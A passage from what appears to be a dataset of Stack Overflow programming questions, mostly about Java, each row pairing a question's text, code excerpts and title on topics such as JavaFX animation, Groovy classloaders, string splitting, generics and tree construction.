5 , `` skipped '' : 0 , `` failed '' : 0 } , `` hits '' : { `` total '' : 3659 , `` max_score '' : 0.0 , `` hits '' : [ ] } `` aggregations '' : { `` level '' : { `` doc_count_error_upper_bound '' : 0 , `` sum_other_doc_count '' : 0 , `` buckets '' : [ ] } `` aggregations '' : { `` level '' : { `` doc_count_error_upper_bound '' : 0 , `` sum_other_doc_count '' : 0 , `` buckets '' : [ { `` key '' : `` INFO '' , `` doc_count '' : 2691 } , { `` key '' : `` WARN '' , `` doc_count '' : 776 } , { `` key '' : `` ERROR '' , `` doc_count '' : 192 } ] } // Start building the search itself SearchRequestBuilder srch = client.prepareSearch ( indices.toArray ( new String [ indices.size ( ) ] ) ) .setTypes ( types.toArray ( new String [ types.size ( ) ] ) ) .setFrom ( 0 ) .setSize ( 0 ) ; // Conditional sort order if ( t.getOrder ( ) ! = null ) srch.addSort ( t.getOrder ( ) .getBuilder ( ) ) ; // Add aggregationbuilders to this search for ( NivoStatistic stat : t.getStatistics ( ) ) { logger.log ( Level.FINER , `` Adding statistic { 0 } '' , stat.getName ( ) ) ; srch.addAggregation ( stat.getContent ( ) ) ; } // Use a search template NivoQuery qry = t.getQuery ( ) ; SearchTemplateRequestBuilder srchTemplate = new SearchTemplateRequestBuilder ( client ) .setRequest ( srch.request ( ) ) .setScript ( qry.getTemplateString ( ) ) .setScriptType ( ScriptType.INLINE ) .setScriptParams ( qry.getParameterValues ( ) ) ; logger.log ( Level.FINER , `` Prepared search : { 0 } '' , srchTemplate.request ( ) .getRequest ( ) .toString ( ) ) ; // Execute the search try { SearchResponse resp = srchTemplate.get ( ) .getResponse ( ) ; logger.log ( Level.FINER , `` Search returned : { 0 } '' , resp.toString ( ) ) ; if ( resp.status ( ) == RestStatus.OK & & resp.getAggregations ( ) ! = null ) { for ( Aggregation agg : resp.getAggregations ( ) .asList ( ) ) { // Update response t.getResponse ( ) .addStat ( new NivoStatsHit ( agg ) ) ; } } } catch ( ElasticsearchException e ) { throw new ApiException ( ApiExceptionCode.SEARCH_10061 , `` Database error : `` + e.getDetailedMessage ( ) ) ; }",Elastic Java client returns different result from HTTP API +Java,"I 'm trying to implement some animation in my project . When the user is using the application , sometimes he or she gets Yes/No dialogs ( Alert ) for confirmation or dialog boxes ( Stage ) to input data ( and press a save button ) . After the event , normally I would show another Alert with `` Success '' ( if succesful ofcourse ) . Now , to eliminate a bunch of extra `` useless '' windows/screens/popups , I wanted to minimize the Alert or Stage to the lower left corner of the screen where there will appear a `` Success '' message for about 3 seconds in a status bar . I have implemented this succesfully but I noticed a huge performance difference between the animation on Alert and the animation on Stage.Alert seems to animate very smoothly , while the Stage is actually very choppy ( even on a good pc ) . I have read about caching and searched related questions , but without much effect or solutions . I tried to make JavaFX ( Maven ) example ( based on some other examples I found ) which you can find below . You will see , when you press the Show alert button , and press Yes in the Alert window , the Alert will go smoothly to the lower left corner of the screen.When you press the Show node button , and press the Close button in the newly opened stage , the animation goes much more choppy compared to Alert.Is there anything I can do to smoothen the animation of the stage ? I also tried to put the top AnchorPane invisible to see if there was any performance improvement , but it was exactly the same.Scene.fxml : testNode.fxml : FXMLController.java : TestNodeController.java : Utilities.java :","< ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ? import java.lang . * ? > < ? import java.util . * ? > < ? import javafx.scene . * ? > < ? import javafx.scene.control . * ? > < ? import javafx.scene.layout . * ? > < AnchorPane id= '' AnchorPane '' prefHeight= '' 200 '' prefWidth= '' 320 '' xmlns : fx= '' http : //javafx.com/fxml/1 '' xmlns= '' http : //javafx.com/javafx/8.0.40 '' fx : controller= '' proj.mavenproject1.FXMLController '' > < children > < Button fx : id= '' button '' layoutX= '' 52.0 '' layoutY= '' 90.0 '' onAction= '' # handleButtonAction '' text= '' Show Alert '' / > < Label fx : id= '' label '' layoutX= '' 126 '' layoutY= '' 120 '' minHeight= '' 16 '' minWidth= '' 69 '' / > < Button fx : id= '' button1 '' layoutX= '' 217.0 '' layoutY= '' 90.0 '' onAction= '' # handleButtonAction2 '' text= '' Show Node '' / > < /children > < /AnchorPane > < ? xml version= '' 1.0 '' encoding= '' UTF-8 '' ? > < ? import java.lang . * ? > < ? import java.util . * ? > < ? import javafx.scene . * ? > < ? import javafx.scene.control . * ? > < ? import javafx.scene.layout . * ? > < AnchorPane id= '' AnchorPane '' prefHeight= '' 400.0 '' prefWidth= '' 600.0 '' xmlns : fx= '' http : //javafx.com/fxml/1 '' xmlns= '' http : //javafx.com/javafx/8.0.40 '' fx : controller= '' proj.mavenproject1.TestNodeController '' > < children > < Button layoutX= '' 262.0 '' layoutY= '' 188.0 '' mnemonicParsing= '' false '' onAction= '' # handleButtonAction '' text= '' Close node '' / > < /children > < /AnchorPane > package proj.mavenproject1 ; import java.io.IOException ; import java.net.URL ; import java.util.ResourceBundle ; import java.util.logging.Level ; import java.util.logging.Logger ; import javafx.event.ActionEvent ; import javafx.fxml.FXML ; import javafx.fxml.Initializable ; import javafx.scene.control.Label ; public class FXMLController implements Initializable { @ FXML private Label label ; @ FXML private void handleButtonAction ( ActionEvent event ) { Utilities.showYesNo ( `` test '' , `` this to test the closing animation of an alert '' , true ) ; System.out.println ( `` You clicked me ! `` ) ; label.setText ( `` Hello World ! `` ) ; } @ FXML private void handleButtonAction2 ( ActionEvent event ) { try { URL url = getClass ( ) .getResource ( `` /fxml/testNode.fxml '' ) ; Utilities.showDialog ( url ) ; } catch ( IOException ex ) { Logger.getLogger ( FXMLController.class.getName ( ) ) .log ( Level.SEVERE , null , ex ) ; } } @ Override public void initialize ( URL url , ResourceBundle rb ) { // TODO } } package proj.mavenproject1 ; import java.net.URL ; import java.util.ResourceBundle ; import javafx.event.ActionEvent ; import javafx.fxml.FXML ; import javafx.fxml.Initializable ; public class TestNodeController implements Initializable { @ FXML private void handleButtonAction ( ActionEvent event ) { Utilities.closeStage ( event , true ) ; } /** * Initializes the controller class . */ @ Override public void initialize ( URL url , ResourceBundle rb ) { // TODO } } package proj.mavenproject1 ; import java.io.IOException ; import java.net.URL ; import java.util.Optional ; import java.util.ResourceBundle ; import javafx.animation.KeyFrame ; import javafx.animation.KeyValue ; import javafx.animation.Timeline ; import javafx.beans.property.DoubleProperty ; import javafx.beans.property.SimpleDoubleProperty ; import javafx.beans.value.ChangeListener ; import javafx.beans.value.ObservableValue ; import javafx.beans.value.WritableValue ; import javafx.event.ActionEvent ; import javafx.event.Event ; import javafx.event.EventHandler ; import javafx.fxml.FXMLLoader ; import javafx.geometry.Insets ; import javafx.geometry.Pos ; import javafx.scene.CacheHint ; import javafx.scene.Node ; import javafx.scene.Scene ; import javafx.scene.control.Alert ; import javafx.scene.control.ButtonType ; import javafx.scene.control.DialogEvent ; import javafx.scene.layout.AnchorPane ; import javafx.scene.layout.VBoxBuilder ; import javafx.stage.Modality ; import javafx.stage.Screen ; import javafx.stage.Stage ; import javafx.stage.StageStyle ; import javafx.stage.WindowEvent ; import javafx.util.Duration ; public class Utilities { public static boolean showYesNo ( String title , String content , boolean animation ) { Alert alert = new Alert ( Alert.AlertType.CONFIRMATION ) ; alert.setTitle ( title ) ; alert.setHeaderText ( null ) ; alert.setContentText ( content ) ; alert.getButtonTypes ( ) .setAll ( ButtonType.YES , ButtonType.NO ) ; alert.setOnCloseRequest ( ( DialogEvent we ) - > { if ( animation ) { minimizeAlert ( alert , animation ) ; we.consume ( ) ; } } ) ; Optional < ButtonType > result = alert.showAndWait ( ) ; return result.get ( ) == ButtonType.YES ; } public static void showDialog ( URL url ) throws IOException { final Stage myDialog = new Stage ( ) ; myDialog.initStyle ( StageStyle.UTILITY ) ; myDialog.initModality ( Modality.APPLICATION_MODAL ) ; Node n = ( Node ) FXMLLoader.load ( url ) ; Scene myDialogScene = new Scene ( VBoxBuilder.create ( ) .children ( n ) .alignment ( Pos.CENTER ) .padding ( new Insets ( 0 ) ) .build ( ) ) ; myDialog.setScene ( myDialogScene ) ; myDialog.showAndWait ( ) ; } private static void minimizeNode ( Scene scene , boolean animation ) { final int MILLIS = 750 ; //Node src = ( Node ) event.getSource ( ) ; AnchorPane rootPane = ( AnchorPane ) scene.lookup ( `` # rootPane '' ) ; final Stage stage = ( Stage ) scene.getWindow ( ) ; //animation = false ; //TODO : check if this thing slows down the program , seems like context menu slows down because of it if ( animation ) { WritableValue < Double > writableHeight = new WritableValue < Double > ( ) { @ Override public Double getValue ( ) { return stage.getHeight ( ) ; } @ Override public void setValue ( Double value ) { stage.setHeight ( value ) ; } } ; WritableValue < Double > writableWidth = new WritableValue < Double > ( ) { @ Override public Double getValue ( ) { return stage.getWidth ( ) ; } @ Override public void setValue ( Double value ) { stage.setWidth ( value ) ; } } ; WritableValue < Double > writableOpacity = new WritableValue < Double > ( ) { @ Override public Double getValue ( ) { return stage.getOpacity ( ) ; } @ Override public void setValue ( Double value ) { stage.setOpacity ( value ) ; } } ; EventHandler onFinished = new EventHandler < ActionEvent > ( ) { public void handle ( ActionEvent t ) { stage.close ( ) ; } } ; double currentX = stage.getX ( ) ; double currentY = stage.getY ( ) ; DoubleProperty x = new SimpleDoubleProperty ( currentX ) ; DoubleProperty y = new SimpleDoubleProperty ( currentY ) ; x.addListener ( new ChangeListener < Number > ( ) { @ Override public void changed ( ObservableValue < ? extends Number > observable , Number oldValue , Number newValue ) { stage.setX ( newValue.doubleValue ( ) ) ; } } ) ; y.addListener ( new ChangeListener < Number > ( ) { @ Override public void changed ( ObservableValue < ? extends Number > observable , Number oldValue , Number newValue ) { stage.setY ( newValue.doubleValue ( ) ) ; } } ) ; KeyFrame keyFrameMove = new KeyFrame ( Duration.millis ( MILLIS ) , onFinished , new KeyValue ( x , 0d ) , new KeyValue ( y , Screen.getPrimary ( ) .getBounds ( ) .getMaxY ( ) - 25 ) ) ; KeyFrame keyFrameScale = new KeyFrame ( Duration.millis ( MILLIS ) , new KeyValue ( writableWidth , 0d ) , new KeyValue ( writableHeight , 0d ) ) ; KeyFrame keyFrameOpacity = new KeyFrame ( Duration.millis ( MILLIS ) , new KeyValue ( writableOpacity , 0d ) ) ; Timeline timeline = new Timeline ( keyFrameMove , keyFrameScale , keyFrameOpacity ) ; if ( rootPane ! = null ) { rootPane.setVisible ( false ) ; //rootPane.getChildren ( ) .clear ( ) ; } timeline.play ( ) ; } else { stage.close ( ) ; } } public static void minimizeAlert ( Alert alert , boolean animation ) { final int MILLIS = 750 ; if ( animation ) { WritableValue < Double > writableHeight = new WritableValue < Double > ( ) { @ Override public Double getValue ( ) { return alert.getHeight ( ) ; } @ Override public void setValue ( Double value ) { alert.setHeight ( value ) ; } } ; WritableValue < Double > writableWidth = new WritableValue < Double > ( ) { @ Override public Double getValue ( ) { return alert.getWidth ( ) ; } @ Override public void setValue ( Double value ) { alert.setWidth ( value ) ; } } ; EventHandler onFinished = new EventHandler < ActionEvent > ( ) { public void handle ( ActionEvent t ) { alert.setOnCloseRequest ( null ) ; alert.close ( ) ; } } ; double currentX = alert.getX ( ) ; double currentY = alert.getY ( ) ; DoubleProperty x = new SimpleDoubleProperty ( currentX ) ; DoubleProperty y = new SimpleDoubleProperty ( currentY ) ; x.addListener ( ( obs , oldX , newX ) - > alert.setX ( newX.doubleValue ( ) ) ) ; y.addListener ( ( obs , oldY , newY ) - > alert.setY ( newY.doubleValue ( ) ) ) ; KeyFrame keyFrameMove = new KeyFrame ( Duration.millis ( MILLIS ) , onFinished , new KeyValue ( x , 0d ) , new KeyValue ( y , Screen.getPrimary ( ) .getBounds ( ) .getMaxY ( ) - 25 ) ) ; KeyFrame keyFrameScale = new KeyFrame ( Duration.millis ( MILLIS ) , new KeyValue ( writableWidth , 0d ) , new KeyValue ( writableHeight , 0d ) ) ; Timeline timeline = new Timeline ( keyFrameMove , keyFrameScale ) ; timeline.play ( ) ; } else { alert.close ( ) ; } } public static void closeStage ( Event event , boolean animation ) { Node src = ( Node ) event.getSource ( ) ; src.setCache ( true ) ; src.setCacheHint ( CacheHint.SPEED ) ; minimizeNode ( src.getScene ( ) , animation ) ; } }",Why is there a big performance difference between transition on Alert and Stage ? +Java,"I 'm trying to run groovy scripts in an isolated classloader so that they are not executed in the context of the calling class ' dependencies.Standalone.groovy : pom.xml excerpt : Any variation on the above that I 've tried always results in I 've tracked this back to groovy.util.GroovyScriptEngine # loadScriptByName where the script is parsed into a Class < T > , where T is the name of the script itself.My theory is that this is caused by binary incompatibility between the groovy runtime running in the calling class and the groovy runtime running in a standalone class loader , due to the way groovy creates synthetic classes out of scripts through reflection.Any ideas about how this can be accomplished ?","Path log4j = Paths.get ( `` ... ./lib/log4j-1.2.17.jar '' ) ; Path groovy = Paths.get ( `` ... ./lib/groovy-all-2.1.3.jar '' ) ; RootLoader rootLoader = new RootLoader ( new URL [ ] { log4j.toUri ( ) .toURL ( ) , groovy.toUri ( ) .toURL ( ) } , null ) ; GroovyScriptEngine engine = new GroovyScriptEngine ( `` ... /src/main/resources '' , rootLoader ) ; engine.run ( `` Standalone.groovy '' , `` '' ) ; import org.apache.log4j.BasicConfiguratorimport org.apache.log4j.LoggerLogger logger = Logger.getLogger ( getClass ( ) ) BasicConfigurator.configure ( ) logger.info ( `` hello world '' ) < dependency > < groupId > org.codehaus.groovy < /groupId > < artifactId > groovy-all < /artifactId > < version > 2.1.3 < /version > < /dependency > Exception in thread `` main '' groovy.lang.GroovyRuntimeException : Failed to create Script instance for class : class Standalone . Reason : java.lang.ClassCastException : Standalone can not be cast to groovy.lang.GroovyObject at org.codehaus.groovy.runtime.InvokerHelper.createScript ( InvokerHelper.java:443 ) at groovy.util.GroovyScriptEngine.createScript ( GroovyScriptEngine.java:564 ) at groovy.util.GroovyScriptEngine.run ( GroovyScriptEngine.java:551 ) at groovy.util.GroovyScriptEngine.run ( GroovyScriptEngine.java:537 )",How can I execute groovy scripts in an isolated classloader ? +Java,"I have a case in which I 'm doing the following : Where delimiter is a Character.This works fine when I need to split based on tabs by providing \t as the delimiter . However , when I want to split on a pipe , I pass in a delimiter of | and this does not work as expected.I 've read several posts about how | is a special character which means null or empty therefore it splits on every character it encounters , though , I do n't want this behavior.I could do a simple check in my code for this pipe case and get around the issue : But I did n't know if there was an easier way to get around this . Also , are there any other special characters that act like the | does that I need to take into account ?",final String [ ] columns = row.split ( delimiter.toString ( ) ) ; if ( `` | '' .equals ( delimiter.toString ( ) ) ) { columns = row.split ( `` \\ '' + delimiter.toString ( ) ) ; } else { columns = row.split ( delimiter.toString ( ) ) ; },Split String By Character +Java,"Here even after I changed the characters with the help of reflection , same hash code value is mainatained.Is there anything I need to know here ?",String s1 = `` String1 '' ; System.out.println ( s1.hashCode ( ) ) ; // return an integer i1 Field field = String.class.getDeclaredField ( `` value '' ) ; field.setAccessible ( true ) ; char [ ] value = ( char [ ] ) field.get ( s1 ) ; value [ 0 ] = ' J ' ; value [ 1 ] = ' a ' ; value [ 2 ] = ' v ' ; value [ 3 ] = ' a ' ; value [ 4 ] = ' 1 ' ; System.out.println ( s1.hashCode ( ) ) ; // return same value of integer i1,Is hash code of java.lang.String really cached ? +Java,"How can I split the above after the third occurence of the ; separator ? Especially without having to value.split ( `` ; '' ) the whole string as an array , as I wo n't need the values separated . Just the first part of the string up until nth occurence.Desired output would be : first ; snd ; 3rd.I just need that as a string substring , not as split separated values .",first ; snd ; 3rd ; 4th ; 5th ; 6th ; ...,How to substring before nth occurence of a separator ? +Java,"I am currently using Visual Studio Express C++ 2008 , and have some questions about catch block ordering . Unfortunately , I could not find the answer on the internet so I am posing these questions to the experts.I notice that unless catch ( ... ) is placed at the end of a catch block , the compilation will fail with error C2311 . For example , the following would compile : while the following would not : a . Could I ask if this is defined in the C++ language standard , or if this is just the Microsoft compiler being strict ? b . Do C # and Java have the same rules as well ? c . As an aside , I have also tried making a base class and a derived class , and putting the catch statement for the base class before the catch statement for the derived class . This compiled without problems . Are there no language standards guarding against such practice please ?",catch ( MyException ) { } catch ( ... ) { } catch ( ... ) { } catch ( MyException ) { },Questions regarding ordering of catch statements in catch block - compiler specific or language standard ? +Java,"I have found information that java . * and javax . * are illegal ( reserved ) package names ( in the book `` OCA Java SE 7 Programmer I Study Guide '' ) . When I try create package `` java '' and run class from it , I receive : but when I run class from `` javax '' package I receive no errors . On docs.oracle.com I 've found only information : so ... is it `` javax '' illegal name or not ? Maybe it 's illegal only on Java EE , or older versions of Java ? ( I 've tried it on JDK 1.6.0_43 and 1.7.0_25 )",Exception in thread `` main '' java.lang.SecurityException : Prohibited package name : java Packages in the Java language itself begin with java . or javax .,Is it `` javax '' illegal ( reserved ) package name or not ? +Java,"When I launch any third-party application , e.g . Notepad ( but you could take anything else ) , from a Java 9 application and then exit the Java application : the launched third party application keeps locking Java 9 's lib\modules file . This makes it hard for our Java application with a private JRE to update itself , because the original directory ( containing the JRE ) ca n't be renamed . Here 's a screenshot from ProcessExplorer ( Sysinternals ) : This smells like a Java 9 bug ( reported as JDK-8194734 ) , but is there a work-around for launching an application on Windows without locking the lib\modules file , e.g . by using an external ( proxy ) application that simply launches the passed parameter as an application ?",import java.io . * ; public class LaunchNotepad { public static void main ( String [ ] args ) throws IOException { Runtime.getRuntime ( ) .exec ( new String [ ] { `` C : \\Windows\\notepad.exe '' } ) ; } },Why does it keep lib/modules locked ? +Java,"I am planning to take DataStax Cassandra Certification for Developer . I recently took the practice test and I scored 94 % out of 100 by having 1 answer marked wrong . The question is : I chose ALTER TABLE comics option and according to DataStax this answer is wrong . Then what is DML in Cassandra . Is n't this statement modifying the data ? And , the correct answer is None.Thanks .","Given the following table , which of the following statements is an example of Data Modification Language ( DML ) in CQL ? CREATE TABLE comics ( title text , issueNumber int , originalPriceDollars float , PRIMARY KEY ( title , issueNumber ) ) ; SELECT * FROM comics ; ALTER TABLE comics ADD currentPriceDollars float ; DROP KEYSPACE test ; None of the other answers are DML .",What is DML in Apache Cassandra ? +Java,"Let 's say I am using a char array of size 8 to represent a collision mask for an image . Each bit of the char represents a pixel . In reality I will be using a long [ 64 ] array for a 64x64 matrix.So a box will appear as : An example output for 45 degrees should look like this , though the rotations can be any degrees . This shape may not be accurate for a 45 degree rotation , as I did it by hand.And another example output with a small rotation to the right -- 10 degrees ? The values are probably wrong , as mathematically I do n't know how exactly it 'll rotate , but I think it is safe to assume that if each bit has over 50 % coverage of the old shape , then it'ld be 1.Without rotation , finding collisions between these bit masks is fast , using bitshifts as defined in this stackoverflow reply : https : //stackoverflow.com/a/336615/4595736Now , in the past I have used Path2D , Rectangles , Shapes , etc ... and used an AffineTransform to rotate the objects . Path2D was the only class to offer the complex shapes I desired , but it 's `` linked-list like '' behavior for accessing each point is n't as fast as I would like it to be.What is the best way to go around rotating a binary map in Java ? It also seems like Java libraries for Matrices are n't the fastest either .",0000000001111110011111100111111001111110011111100111111000000000 0001100000111100011111101111111111111111011111100011110000011000 0000000000111111011111110111111001111110111111101111110000000000,Rotating a bit matrix +Java,Simple class : And a few assignments : why does bullet number three not compile while the fourth one is perfectly legal ? Compiler error :,"class Pair < K , V > { } Collection < Pair < String , Long > > c1 = new ArrayList < Pair < String , Long > > ( ) ; Collection < Pair < String , Long > > c2 = c1 ; // okCollection < Pair < String , ? > > c3 = c1 ; // this does not compileCollection < ? extends Pair < String , ? > > c4 = c1 ; // ok Type mismatch : can not convert from Collection < Pair < String , Long > > to Collection < Pair < String , ? > >",Assigning to multilevel wildcards +Java,"Is there a way to concatenate two Strings ( not final ) without allocating memory ? For example , I have these two Strings : When I concatenate these two strings , a new String object is created.Since this is done in the main game loop ( executed ~60 times in one second ) , there are a lot of allocations.Can I somehow do this without allocation ?","final String SCORE_TEXT = `` SCORE : `` ; String score = `` 1000 '' ; //or int score = 1000 ; font.drawMultiLine ( batch , SCORE_TEXT + score , 50f , 670f ) ; //this creates new string each time",String concatenation without allocation in java +Java,"In either java or c I can write a function like ( ignoring syntax details ) In java I get OutOfMemory exception but in C ( and maybe some other languages ) it seems to run forever , as if it were an infinite loop . Why do n't I get OutOfMemory error here as well ?",fun ( ) { fun ( ) ; },"Why does this code run out of memory in java , but not in c ?" +Java,"For methods where ... there exists a static one-to-one mapping between the input and the output , andthe cost of creating the output object is relatively high , andthe method is called repeatedly with the same input ... there is a need for caching result values.In my code the following result value caching pattern is repeated a lot ( pseudo-code in Java , but the question is language-agnostic ) : Repeating this structure all the time is a clear violation of the DRY principle.Ideally , I 'd like the code above to be reduced to the following : Where the theoretical CacheResult annotation would take care of the caching I 'm currently doing by hand . The general term for this type of caching is `` memoization '' .A good example of the exact functionality I 'm looking for is Perl core module `` Memoize '' .In which languages does such a Memoize-like caching solution exist ( either at the language level or the library level ) ? In particular - does such a solution exist for any major platform such as Java or .NET ?","private static Map < Input , Output > fooResultMap = new HashMap < Input , Output > ( ) ; public getFoo ( Input input ) { if ( fooResultMap.get ( input ) ! = null ) { return fooResultMap.get ( input ) ; } Output output = null ; // Some code to obtain the object since we do n't have it in the cache . fooResultMap.put ( input , output ) ; return output ; } @ CacheResultpublic getFoo ( Input input ) { Output output = null ; // Some code to obtain the object since we do n't have it in the cache . return output ; }",Which languages have support for return value caching without boilerplate code ? +Java,"We have 2 cisco phones : one for call manager and another for his superviser.We need to create a conference when the manager answers and put the supervisor 's phone on mute . We are trying to achieve it using JTApi : wait for event TermConnActiveEv , then trying to create conference.Here is the code sample.However , PreConditionException is thrown . What are we doing wrong ?",if ( callEv instanceof TermConnActiveEv ) { CiscoCall thisCall = ( CiscoCall ) callEv.getCall ( ) ; TerminalConnection connection = ( ( TermConnActiveEv ) callEv ) .getTerminalConnection ( ) ; if ( thisCall.getState ( ) ! = Call.ACTIVE ) { System.out.println ( `` call is not active '' ) ; return ; } try { CiscoCall newCall = ( CiscoCall ) provider.createCall ( ) ; newCall.consult ( connection ) ; newCall.conference ( thisCall ) ; ... .,How to use cBarge ( Barge ) to create conference with JTApi +Java,"So I recently attempted to do the HackerRank challenge that involved counting a number 's holes and adding them up , and after a bit of research , I ended up making it into a char array and choosing three values to increment and add up to the sum as shown below : but the char array always return as a normal integer ! I ca n't try the modulus approach since 0 is used ( has one hole in it ) , and a bunch of variants on String.valueOf ( num ) .toCharArray ( ) such as ( `` '' + num ) .toCharArray ( ) and Integer.toString ( number ) .toCharArray ( ) , but it stills outputs the inputted number instead of the wanted char array . Of course , the rest of the method spits out 0 because of the empty array too.I 'm a bit of a newbie , but damn is this frustrating . I feel like it 's a micro-detail I have n't seen or do n't know instead of my logic . Any help please ?","public static int countHoles ( int num ) { //create integers that count how many a number with no , one or two holes shows up Integer noHoles = 0 ; Integer oneHole = 0 ; Integer twoHoles = 0 ; Integer sum = 0 ; Integer length = 0 ; //turn the inputted number into a char array char [ ] digits = String.valueOf ( num ) .toCharArray ( ) ; System.out.println ( digits ) ; length = digits.length ; //These nested loops incremement the numbers initialized above as the first for-each loop goes through each index value of the array for ( int i = 0 ; i < digits.length ; i++ ) { if ( digits [ i ] == 1 || digits [ i ] ==2 || digits [ i ] ==3 || digits [ i ] ==5 || digits [ i ] ==7 ) { noHoles++ ; } else if ( digits [ i ] ==4 || digits [ i ] ==6 || digits [ i ] ==9 || digits [ i ] ==0 ) { oneHole+= 1 ; } else if ( digits [ i ] ==8 ) { twoHoles+= 2 ; } } //add up the incremented integers . twoHoles is doubled as each unit counts as two holes and noHoles is 0 regardless of its values sum = oneHole + twoHoles ; return sum ; } }",Inputted integer to char array - Java +Java,"Lets assume following classes definition : Assuming that the class A has n't been loaded yet , what does happen when object of the class B is instantiated by some thread T ? The class A has to be loaded and instantiated first . But my question is : if it 's done in context of the thread T , or rather in context of some other ( special ) `` classloader '' thread ?",public class A { public final static String SOME_VALUE ; static { SOME_VALUE = `` some.value '' ; } } public class B { private final String value = A.SOME_VALUE ; },Is Java class initialized by the thread which use it for the first time ? +Java,I want to write a function to construct a full binary tree from a given preorder and postorder array . I found that link http : //www.geeksforgeeks.org/full-and-complete-binary-tree-from-given-preorder-and-postorder-traversals/ which proposes the following C code : I tried to rewrite this code in Java . Here is my code : But I got a continuous loop in the root node ( it did n't pass to the other nodes which have to be its child ) . Can you help me please to see where is the error in my Java code ? I 'm not really sure but I think that the error maybe comes from these lines : I did n't understand very well the correspond lines in the original C code . Especially in this part,"struct node* constructTreeUtil ( int pre [ ] , int post [ ] , int* preIndex , int l , int h , int size ) { // Base caseif ( *preIndex > = size || l > h ) return NULL ; // The first node in preorder traversal is root . So take the node at// preIndex from preorder and make it root , and increment preIndexstruct node* root = newNode ( pre [ *preIndex ] ) ; ++*preIndex ; // If the current subarry has only one element , no need to recurif ( l == h ) return root ; // Search the next element of pre [ ] in post [ ] int i ; for ( i = l ; i < = h ; ++i ) if ( pre [ *preIndex ] == post [ i ] ) break ; // Use the index of element found in postorder to divide postorder array in// two parts . Left subtree and right subtreeif ( i < = h ) { root- > left = constructTreeUtil ( pre , post , preIndex , l , i , size ) ; root- > right = constructTreeUtil ( pre , post , preIndex , i + 1 , h , size ) ; } return root ; } // The main function to construct Full Binary Tree from given preorder and // postorder traversals . This function mainly uses constructTreeUtil ( ) struct node *constructTree ( int pre [ ] , int post [ ] , int size ) { int preIndex = 0 ; return constructTreeUtil ( pre , post , & preIndex , 0 , size - 1 , size ) ; } private static TreeNode constructTree ( int [ ] preorder , int [ ] postorder , Index index , int lowIndex , int highIndex ) { // Base case if ( index.index > = preorder.length || lowIndex > highIndex ) { return null ; } // The first node in preorder traversal is root . So take the node at // preIndex from preorder and make it root , and increment preIndex TreeNode root = new TreeNode ( preorder [ lowIndex ] ) ; index.index++ ; // If the current subarry has only one element , no need to recur if ( lowIndex == highIndex ) { return root ; } // Search the next element of pre [ ] in post [ ] int i = 0 ; for ( i = lowIndex ; i < = highIndex ; ++i ) if ( preorder [ i ] == postorder [ lowIndex ] ) break ; // Use the index of element found in postorder to divide postorder array in // two parts . Left subtree and right subtree if ( i < = highIndex ) { root.left = constructTree ( preorder , postorder , index , lowIndex , i ) ; root.right = constructTree ( preorder , postorder , index , i + 1 , highIndex ) ; } return root ; } //The main function to construct Full Binary Tree from given preorder and //postorder traversals . This function mainly uses constructTreeUtil ( ) public static TreeNode constructTree ( int preorder [ ] , int postorder [ ] ) { return constructTree ( preorder , postorder , new Index ( ) , 0 , preorder.length - 1 ) ; } int i = 0 ; for ( i = lowIndex ; i < = highIndex ; ++i ) if ( preorder [ i ] == postorder [ lowIndex ] ) break ;",Rewrite a C code in Java to construct full binary tree +Java,"I 'm working with a server-addon for Minecraft , which happens to be obfuscated . I 've always thought that , after obfuscation , it 's impossible to restore the original class names because they 're completely removed , and it 's what I 've read everywhere.After tinkering with it for a while , I noticed that when an uncaught exception appears in the console , it shows the obfuscated names of the classes ( eg . at cratereloaded.aT.d ) , and then inside parenthesis , where it usually shows the name of the class and the offending line , it shows the original class name , which leads me to believe that it can actually be deobfuscated . But of all tools I 've tried , none seems to be able to restore the original class name , even though after some hex examination I 've confirmed the original class name IS actually embedded in the compiled '.class ' files.Is there any tool which is capable of using that to restore class names automatically ? Example stacktrace :",[ 03:49:57 ] [ Server thread/ERROR ] : Error occurred while disabling CrateReloaded v1.3.97.1 ( Is it up to date ? ) java.lang.NullPointerException : null at cratereloaded.aT.d ( CrateManager.java:303 ) ~ [ ? : ? ] at cratereloaded.aT.bm ( CrateManager.java:298 ) ~ [ ? : ? ] at cratereloaded.aT.cleanup ( CrateManager.java:83 ) ~ [ ? : ? ] at cratereloaded.aX.disable ( Manager.java:27 ) ~ [ ? : ? ] at cratereloaded.b.cleanup ( CrateReloaded.java:122 ) ~ [ ? : ? ] at cratereloaded.b.onDisable ( CrateReloaded.java:109 ) ~ [ ? : ? ] at org.bukkit.plugin.java.JavaPlugin.setEnabled ( JavaPlugin.java:266 ) ~ [ spigot.jar : git-Spigot-596221b-2c5c611 ] at org.bukkit.plugin.java.JavaPluginLoader.disablePlugin ( JavaPluginLoader.java:361 ) [ spigot.jar : git-Spigot-596221b-2c5c611 ] at org.bukkit.plugin.SimplePluginManager.disablePlugin ( SimplePluginManager.java:421 ) [ spigot.jar : git-Spigot-596221b-2c5c611 ] at org.bukkit.plugin.SimplePluginManager.disablePlugins ( SimplePluginManager.java:414 ) [ spigot.jar : git-Spigot-596221b-2c5c611 ] at org.bukkit.craftbukkit.v1_12_R1.CraftServer.disablePlugins ( CraftServer.java:342 ) [ spigot.jar : git-Spigot-596221b-2c5c611 ] at net.minecraft.server.v1_12_R1.MinecraftServer.stop ( MinecraftServer.java:464 ) [ spigot.jar : git-Spigot-596221b-2c5c611 ] at net.minecraft.server.v1_12_R1.MinecraftServer.run ( MinecraftServer.java:612 ) [ spigot.jar : git-Spigot-596221b-2c5c611 ] at java.lang.Thread.run ( Thread.java:748 ) [ ? :1.8.0_131 ],Stacktrace of obfuscated code displays unobfuscated class name ? +Java,"I have a list of objects which I want to order/sort in a specific order.I have a list of Promotion objects . Each promotion will have a description . Two out of all the promotions will have description set to `` premium '' and `` ordinary '' I want to order/sort the list such that promotion with description `` premium '' should always be at the end of the list and promotion with description `` ordinary '' show always be at list.size - 1 position . Example below [ { description= ... } , { description= ... } , ... .. { description=ordinary } , { description=premium } ] I tried using Collections.sort to sort the objects by passing a custom Comparator like belowI tried with the above code and I did not get the desired output while testing . I later added another check in each of the if conditions to check to check description in p2 objects as well like belowWhat am I doing wrong here ? Or am I using Collections.sort in wrong way ? Can anyone please suggest/help me ?","public int compare ( Promotion p1 , Promotion p2 ) { if ( p1.getDescription ( ) .equals ( `` ordinary '' ) ) { return -size-1 ; // size is the size of the list passed as a constructor argument to the Comparator . } if ( p1.getDescription ( ) .equals ( `` premium '' ) ) { return -size ; } return 0 ; } p1.getDescription ( ) .equals ( `` premium '' ) || p2.getDescription ( ) .equals ( `` premium '' )",How to custom order/sort objects in a list +Java,"I 've made something that retrieves 